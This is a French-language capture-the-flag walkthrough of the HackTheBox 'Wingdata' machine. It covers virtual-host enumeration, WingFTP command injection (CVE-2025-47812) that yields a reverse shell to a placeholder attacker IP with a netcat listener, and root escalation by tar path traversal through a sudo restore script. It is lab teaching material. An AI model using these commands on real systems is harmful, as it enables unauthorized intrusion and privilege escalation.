
Procédure pas à pas HackTheBox Wingdata couvrant l'injection de commandes WingFTP CVE-2025-47812 pour l'accès initial et l'élévation de privilèges sudo par traversée de chemin tar jusqu'à root.
Plateforme : HackTheBox | OS : Linux
L'énumération des VHost révèle un serveur WingFTP. L'injection de commande CVE-2025-47812 donne un accès initial. Root via un script Python de restauration sudo qui extrait une archive tar craftée — le path traversal de tar écrit un fichier arbitraire en tant que root.
nmap -sC -sV wingdata.htb -Pn
22/tcp open ssh OpenSSH
80/tcp open http wingdata.htb main site
Ajout de wingdata.htb dans /etc/hosts. Le port 80 référençait un domaine indiquant un hébergement virtuel.
ffuf -u http://wingdata.htb -H 'Host: FUZZ.wingdata.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
Trouvé : ftp.wingdata.htb — interface web du serveur WingFTP.
CVE-2025-47812 est une vulnérabilité d'injection de commande dans l'interface web du serveur WingFTP. Un paramètre non assaini permet d'obtenir un reverse shell.
nc -lvnp 4444
python3 exploit_CVE-2025-47812.py --target http://ftp.wingdata.htb --lhost <ATTACKER_IP> --lport 4444
Shell obtenu. Flag utilisateur récupéré.
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/restore.py
/opt/restore.py accepte une archive tar et l'extrait en tant que root. tar n'assainit pas les chemins — une archive craftée avec ../ dans le nom de fichier écrit des fichiers en dehors du répertoire d'extraction.
python3 craft_tar.py
sudo /usr/bin/python3 /opt/restore.py -b backup_888.tar
Shell root obtenu. Flag root dans /root/root.txt.
À des fins éducatives uniquement. Ne testez que les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite.